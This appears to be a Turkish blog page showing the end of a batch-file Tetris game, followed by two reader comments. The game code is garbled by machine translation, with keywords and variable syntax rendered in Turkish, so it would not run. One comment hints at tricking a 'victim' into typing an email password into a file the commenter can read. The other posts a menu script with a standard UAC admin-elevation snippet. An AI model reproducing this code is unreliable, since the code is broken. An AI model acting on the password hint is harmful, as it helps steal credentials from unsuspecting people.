         R tanımlanırsa "p0 =! p1!" & "pI =! p!" olarak ayarlayın & "R =" olarak ayarla

      ) else (rem Parça taşınamaz

         rem Parçayı mevcut konumunda kurtar
         % / L için% i (1,1,! i!) yapın ()
            / F "belirteçleri = 1-4" için %% a in ("! c %% i!") yapın (
               "F %% a =! F %% a: ~ 0, %% b !! blk: ~ 0, %% d !! F %% a: ~ %% ​​c!"
            )
         )
         R tanımlanırsa "p1 =! p0!" & "R =" olarak ayarla

         eğer! Dy! neq 0 (rem Parça "topraklar"

            rem Tamamlanan satırları say
            "j = 0" olarak ayarla
            / L %% için i (1,1,! i!) 'i yapın / F %% a için ("! c %% i!") yapın (
               eğer "! F %% a: ~ 3,% cols%!" eşittir "% blk%" (
                  "F %% a = ³% spc: ==% ³" olarak ayarlayın
                  set / A j + = 1
               )
            )

            eğer! j! neq 0 (
               rem Puanları güncelle (http://www.tetrisfriends.com/help/tips_appendix.php#rankingsystem adresindeki N-Blox'a bakın)
               set / A "xp = Seviye * (40 + ((j-2 >> 31) +1) * 60 + ((j-3 >> 31) +1) * 200 + ((j-4 >> 31) +1) * 900), Puan + = xp, Satırlar + = j, xL = Seviye, Seviye = (Satır-1) / 10 + 1 "
               "F-2 =! F-2: ~ 0,8! +! j!" olarak ayarlayın
               "xp =! xp!" olarak ayarlayın
               "F-3 =! F-3: ~ 0,8! +! xp: ~ 0,6!"
               Eko ? BEL Ctrl-G Ascii-7
               cls
               % / L için% i (% üst%, - 1, -3) yapın (
                  Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
               )
               "F-1 =! F-1: ~ 0,8!! Seviye!"
               "F-2 =! F-2: ~ 0,8!! Satır!"
               "F-3 =! F-3: ~ 0,8!! Puan!" olarak ayarlayın
               eğer! Seviye! neq! xL! eğer! gecikme! gtr 5 set / A gecikmesi- = 5

               rem Tamamlanan satırları kaldır
               "i = 1" olarak ayarlayın
               % / L %% i içinde (1,1,% satır%) yapar (
                  "F! i! =! F %% i!"
                  eğer "! F %% i: ~ 3,1!" neq "=" set / A i + = 1
               )
               / L %% i için (! i!, 1,% satır%) "F %% i = ³% spc% ³" değerini ayarlayın
               görüşme: Gecikme 95
               cls
               % / L için% i (% üst%, - 1, -3) yapın (
                  Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
               )
            )

            rem Yeni bir parça gösterme isteği
            "new = 1" olarak ayarla

         )

      )

   )

)

: Oyunun sonu
set / P "= Tekrar oynat?" <NUL
:seçim
   set / P "com ="
tanımlanmamış ise, seçim
eğer / ben "% com%" equ "Y" ise / B
eğer / I "% com: ~% 0,1" neq "N" set "com =" ve seçim yapmayın
yankı N
çıkış


:Duraklat
"duraklat =! F% satır%!"
"F% satırları% = ³% spc: =% PAUSED" "olarak ayarlayın
cls ve for / L %% i (% üst%, - 1, -3) yapın (
         Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
      )
:Bekleyin
   set / P "com ="
tanımlanmadıysa com goto wait
"com =" olarak ayarlayın
"F% lines% =% pause%" olarak ayarlayın
cls ve for / L %% i (% üst%, - 1, -3) yapın (
         Yankı (! F %% i!
% F16x8%, eğer %% i geq% linesP2% eko (! F %% i!
% F16x8%, %% i geq 1 ise %% i leq% lines% echo (! F %% i!
      )
"pause =" olarak ayarla
çıkış / B


: Gecikme centisec
"b =% 1 zaman: ~% -2" olarak ayarlayın
: wait2
   set / A "e =% 1 zaman: ~ -2%, elap = eb, elap - = (elap >> 31) * 100"
% elap% lss% 1 olduğunda bekle2
"b =% 1 zaman: ~% -2" olarak ayarlayın
çıkış / B













Yorumlar

  1. Unknown25 Mayıs 2021 00:14

    şu e-mail şifre gir ve hani düzenlede duruyo ya onun yerine sifre.bat değil sifre txt yazin şu yeri açıp yazınca kurban biz bulacaz tahmin etyme oyununda bile hile buldum.

    YanıtlaSil
  2. dosya indir30 Temmuz 2021 12:23

    menu yaptım

    kod:
    @echo off

    :: BatchGotAdmin
    :-------------------------------------
    REM --> Check for permissions
    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
    >nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
    ) ELSE (
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
    )

    REM --> If error flag set, we do not have admin.
    if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
    ) else ( goto gotAdmin )

    :UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

    :gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
    :--------------------------------------

    title menu
    :MENU
    CLS
    For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c%%a%%b)
    For /f "tokens=1-2 delims=/:" %%a in ("%TIME%") do (set mytime=%%a:%%b)
    echo ===============================================================
    echo menuye hosgeldiniz %mydate% - %mytime%
    echo ===============================================================
    ECHO yok 1
    ECHO yok 2
    ECHO yok 3
    ECHO Secim 4 Cikis
    ECHO =====================
    SET /P M=Lutfen bir secenek secin ve ENTER Tusunua basin:
    IF %M%==1 GOTO Code1
    IF %M%==2 GOTO Code2
    IF %M%==3 GOTO Code3
    IF %M%==4 GOTO EOF
    :Code1
    ECHO yok 1 Code
    goto menu
    :Code2
    ECHO yok 2 Code
    goto menu
    :Code3
    ECHO yok 3 Code
    goto menu

    YanıtlaSil

Yorum Gönder